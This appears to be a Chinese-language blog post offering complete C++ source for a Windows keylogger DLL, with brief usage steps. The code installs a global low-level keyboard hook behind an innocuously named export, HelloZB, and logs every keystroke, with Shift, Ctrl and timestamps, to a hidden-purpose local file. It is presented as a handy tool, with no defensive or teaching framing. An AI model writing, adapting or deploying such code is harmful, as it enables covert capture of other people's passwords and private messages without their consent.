键盘钩子 C++ HOOK 超级好用x64 x86 都可以使用

键盘钩子 C++ HOOK 超级好用

使用方法

1、定义头文件

#ifdef DLLEXPORT
#define BAPI extern"C" __declspec(dllexport)
#else
#define BAPI extern"C" __declspec(dllimport)
#endif

BAPI void HelloZB();

2、添加库文件（使用DLL生成的LIB文件）

3、调用函数

HelloZB();

DLL C++代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include 
#include 

HINSTANCE hins = NULL;
HHOOK MaiNHook = NULL;
BYTE kso[1024];


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	hins = (HINSTANCE)hModule;
	
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		GetKeyboardState(kso);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

#define DLLEXPORT
#ifdef DLLEXPORT
#define BAPI extern"C" __declspec(dllexport)
#else
#define BAPI extern"C" __declspec(dllimport)
#endif

BAPI void HelloZB();




const char savefilename[] = "ZBMAKE_KeyString.log";

void OutFile( char* str, int len)
{
	FILE* f = fopen(savefilename, "ab+");
	if (f) {
		fwrite(str, 1, len, f);
		fclose(f);
	}
}

void getTime(char* Caption)
{
	LPSYSTEMTIME time = new SYSTEMTIME();
	char pStr[255];
	GetLocalTime(time);
	sprintf(pStr, "\n>>>%s--[ %04d-%02d-%02d %02d:%02d:%02d ]-->>>\n", Caption,
		time->wYear,
		time->wMonth,
		time->wDay,
		time->wHour,
		time->wMinute,
		time->wSecond);
	OutFile(pStr, strlen(pStr));
	return;
}

const char DXDATA[] = "QWERTYUIOPASDFGHJKLZXCVBNM";
const char XXDATA[] = "qwertyuiopasdfghjklzxcvbnm";
const char SELFDATA[] = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789/*-+.`~!@#$%^&*()_+,./<>?;'\\:\"|[]{}";
char toDX(char c)
{
	int len = strlen(DXDATA);
	int i = 0;
	for (i = 0; i < len; i++) { 
		if (XXDATA[i] == c) {
			return DXDATA[i];
		}
	}
	return c;
}

char toXX(char c)
{
	int len = strlen(DXDATA);
	int i = 0;
	for (i = 0; i < len; i++) {
		if (DXDATA[i] == c) {
			return XXDATA[i];
		}
	}
	return c;
}

char selfchar(char c)
{
	int len = strlen(SELFDATA);
	int i = 0;
	for (i = 0; i < len; i++) {
		if (SELFDATA[i] == c) {
			return c;
		}
	}
	return 0;
}

char getnowch( char c )
{
	c= selfchar(c);
	if (c == 0) return 0;
	int caps = GetKeyState(VK_CAPITAL);
	int shiftL = GetKeyState(VK_SHIFT);

	bool shift_bool = ((shiftL >> 4) & 0x0000000F) == 0x00000008;
	bool caps_bool = (caps & 0x0000000F) == 0x00000001;
	bool dxx = caps_bool^shift_bool;
	char newch = c;

	if (dxx) {
		newch = toDX(c);
	}
	else {
		newch = toXX(c);
	}
	return newch;
}


LRESULT keyproc(int code, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;	
	WORD w;
	UINT scan = 0;
	ToAscii(ks->vkCode, ks->scanCode, kso, &w, 0);
	w &= 0x00FF;
	printf("%02X\n",w);
	char buf[15];
	int buflen = 0;

	int shiftL = GetKeyState(VK_SHIFT);
	bool shift_bool = ((shiftL >> 4) & 0x0000000F) == 0x00000008;

	int ctrl = GetKeyState(VK_CONTROL);
	bool ctrl_bool = ((ctrl >> 4) & 0x0000000F) == 0x00000008;


	if (w == 0x0D) {
		buf[0] = '<';
		buf[1] = 'L';
		buf[2] = 'I';
		buf[3] = 'N';
		buf[4] = 'E';
		buf[5] = '>';
		buf[6] = 0;
		buflen = 6;
		if (wParam == WM_KEYDOWN) {
			getTime(buf);
		}
		buflen = 0;
	}
	else if (w == 0x08) {
		buf[0] = '<';
		buf[1] = 'B';
		buf[2] = 'A';
		buf[3] = 'C';
		buf[4] = 'K';
		buf[5] = '>';
		buf[6] = 0;
		buflen = 6;
	}
	else if (shift_bool) {
		buf[0] = '<';
		buf[1] = 'S';
		buf[2] = 'H';
		buf[3] = 'I';
		buf[4] = 'F';
		buf[5] = 'T';
		buf[6] = '[';
		buf[7] = w;
		buf[8] = ']';
		buf[9] = '>';
		buf[10] = 0;
		buflen = 10;
	}
	else if (ctrl_bool) {
		buf[0] = '<';
		buf[1] = 'C';
		buf[2] = 'T';
		buf[3] = 'R';
		buf[4] = 'L';
		buf[5] = '[';
		buf[6] = w;
		buf[7] = ']';
		buf[8] = '>';
		buf[9] = 0;
		buflen = 9;
	}
	else {
		w = getnowch(w);
		buf[0] = w;
		buf[1] = 0;
		buflen = 1;
	}

	if ( (w != 0) && (wParam == WM_KEYDOWN) ) {
		OutFile(buf, buflen);
	}
	
	
	return  CallNextHookEx(MaiNHook, code, wParam, lParam);
}


BAPI void HelloZB()
{
	MaiNHook = SetWindowsHookExA(WH_KEYBOARD_LL, (HOOKPROC)keyproc, hins, 0);

	if (MaiNHook != NULL) {
		MessageBeep(0);
		getTime("FIRST-START");
	}
}